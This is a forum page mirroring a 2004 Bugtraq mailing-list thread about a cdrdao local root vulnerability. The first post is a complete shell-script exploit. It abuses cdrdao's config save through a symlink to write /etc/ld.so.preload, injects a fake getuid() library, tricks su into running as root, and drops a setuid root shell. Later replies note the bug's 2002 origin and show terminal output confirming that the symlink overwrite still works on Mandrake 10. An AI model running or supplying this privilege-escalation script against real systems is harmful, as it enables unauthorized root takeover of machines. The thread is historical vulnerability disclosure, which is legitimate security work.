Likes Likes:  0
Resultaten 1 tot 3 van de 3
Geen
  1. #1
    Jérôme ATHIAS
    cdrdao local root exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    cdrdao local root exploit



    #!/bin/sh
    DIR=`pwd`
    echo ""
    echo "cdrdao local root exploit - gr doesn't protect you this time"
    echo "Karol Wiêsek <appelast*drumnbass.art.pl>"
    echo ""
    sleep 2
    umask 000
    echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "
    if [ -f /etc/ld.so.preload ]; then
    echo "WRONG"
    echo "/etc/ld.so.preload exists, write another exploit ;P"
    exit
    else
    echo "OK"
    fi
    echo -n "[*] Checking if su is setuid ... "
    if [ -u /bin/su ];then
    echo "OK"
    else
    echo "WRONG"
    exit
    fi
    echo -n "[*] Creating evil *uid() library ... "
    cat > getuid_lib.c << _EOF
    int getuid(void) {
    return 0; }
    _EOF
    gcc -o getuid_lib.o -c getuid_lib.c
    ld -shared -o getuid_lib.so getuid_lib.o
    rm -f getuid_lib.c getuid_lib.o
    if [ -f ./getuid_lib.so ]; then
    echo "OK"
    else
    echo "WRONG"
    fi
    echo -n "[*] Creating suidshell ... "
    cat > suid.c << _EOF
    int main(void) {
    setgid(0); setuid(0);
    unlink("./suid");
    execl("/bin/sh","sh",0); }
    _EOF
    gcc -o suid suid.c
    rm -f suid.c
    if [ -x ./suid ];then
    echo "OK"
    else
    echo "WRONG"
    exit
    fi
    echo -n "[*] Exploiting cdrdao ... "
    ln -sf /etc/ld.so.preload $HOME/.cdrdao
    if [ ! -L $HOME/.cdrdao ];then
    echo "Could'n link to \$HOME/.cdrdao"
    exit
    fi
    cdrdao unlock --save 2>/dev/null
    >/etc/ld.so.preload

    echo "$DIR/getuid_lib.so" > /etc/ld.so.preload
    su - -c "rm /etc/ld.so.preload; chown roroot $DIR/suid; chmod +s $DIR/suid"
    if [ -s ./suid ];then
    echo "OK"
    else
    echo "WRONG"
    exit
    fi
    rm -f getuid_lib.so
    unlink $HOME/.cdrdao
    echo "Entering rootshell ... ;]"
    ../suid


  2. #2
    3APA3A
    cdrdao local root exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: cdrdao local root exploit

    Dear Jérôme ATHIAS,

    This bug was originally reported to Bugtraq by Andreas Mueller on
    January, 15 2002

    --Sunday, September 5, 2004, 11:16:42 PM, you wrote to bugtraq@securityfocus.com:

    JA> if [ ! -L $HOME/.cdrdao ];then echo "Could'n link to \$HOME/.cdrdao"



    --
    ~/ZARAZA
    Íåïðèÿòíîñòè íà÷íóòñÿ â âîñåìü. (Òâåí)


  3. #3
    newbug Tseng
    cdrdao local root exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: cdrdao local root exploit

    In-Reply-To: <1157225765.20040907131857@SECURITY.NNOV.RU>

    The vuln is still exist in cdrdao 1.1.9-5mdk + Mandrake 10 (beta 2).
    I think cdrdao should drop root permission before save the config.
    [newbug@localhost tmp]$ ls -al /blah
    ls: /blah: No such file or directory
    [newbug@localhost tmp]$ ln -s /blah .cdrdao
    [newbug@localhost tmp]$ rpm -qf `which cdrdao`
    cdrdao-1.1.9-5mdk
    [newbug@localhost tmp]$ cdrdao blank --save
    ..
    ..
    ..
    [newbug@localhost tmp]$ ls -al /blah
    -rw-rw-r-- 1 root cdwriter 32 10月 2 10:41 /blah
    [newbug@localhost tmp]$

    newbug Tseng

    >Received: (qmail 6527 invoked from network); 7 Sep 2004 21:09:36 -0000
    >Received: from mail2.securityfocus.com (205.206.231.1)
    > by mail.securityfocus.com with SMTP; 7 Sep 2004 21:09:36 -0000
    >Received: (qmail 13209 invoked by alias); 7 Sep 2004 21:11:52 -0000
    >Delivered-To: archive-bugtraq@securityfocus.com
    >Received: (qmail 13206 invoked from network); 7 Sep 2004 21:11:52 -0000
    >Received: from outgoing.securityfocus.com (HELO outgoing2.securityfocus.com) (205.206.231.26)
    > by mail2.securityfocus.com with SMTP; 7 Sep 2004 21:11:52 -0000
    >Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
    > by outgoing2.securityfocus.com (Postfix) with QMQP
    > id 4864914374E; Tue, 7 Sep 2004 09:06:54 -0600 (MDT)
    >Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
    >Precedence: bulk
    >List-Id: <bugtraq.list-id.securityfocus.com>
    >List-Post: <mailto:bugtraq@securityfocus.com>
    >List-Help: <mailto:bugtraq-help@securityfocus.com>
    >List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
    >List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
    >Delivered-To: mailing list bugtraq@securityfocus.com
    >Delivered-To: moderator for bugtraq@securityfocus.com
    >Received: (qmail 26314 invoked from network); 7 Sep 2004 03:04:40 -0000
    >Date: Tue, 7 Sep 2004 13:18:57 +0400
    >From: 3APA3A <3APA3A@SECURITY.NNOV.RU>
    >Reply-To: 3APA3A <3APA3A@SECURITY.NNOV.RU>
    >Organization: http://www.security.nnov.ru
    >X-Priority: 3 (Normal)
    >Message-ID: <1157225765.20040907131857@SECURITY.NNOV.RU>
    >To: =?Windows-1251?B?Suly9G1lIEFUSElBUw==?= <jerome.athias@caramail.com>
    >Cc: bugtraq@securityfocus.com
    >Subject: Re: cdrdao local root exploit
    >In-Reply-To: <20040905191642.18379.qmail@www.securityfocus.com>
    >References: <20040905191642.18379.qmail@www.securityfocus.com>
    >MIME-Version: 1.0
    >Content-Type: text/plain; charset=Windows-1251
    >Content-Transfer-Encoding: 8bit
    >
    >Dear Jérôme ATHIAS,
    >
    >This bug was originally reported to Bugtraq by Andreas Mueller on
    >January, 15 2002
    >
    >--Sunday, September 5, 2004, 11:16:42 PM, you wrote to bugtraq@securityfocus.com:
    >
    >JA> if [ ! -L $HOME/.cdrdao ];then echo "Could'n link to \$HOME/.cdrdao"
    >
    >
    >
    >--
    >~/ZARAZA
    >Íåïðèÿòíîñòè íà÷íóòñÿ â âîñåìü. (Òâåí)
    >
    >


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics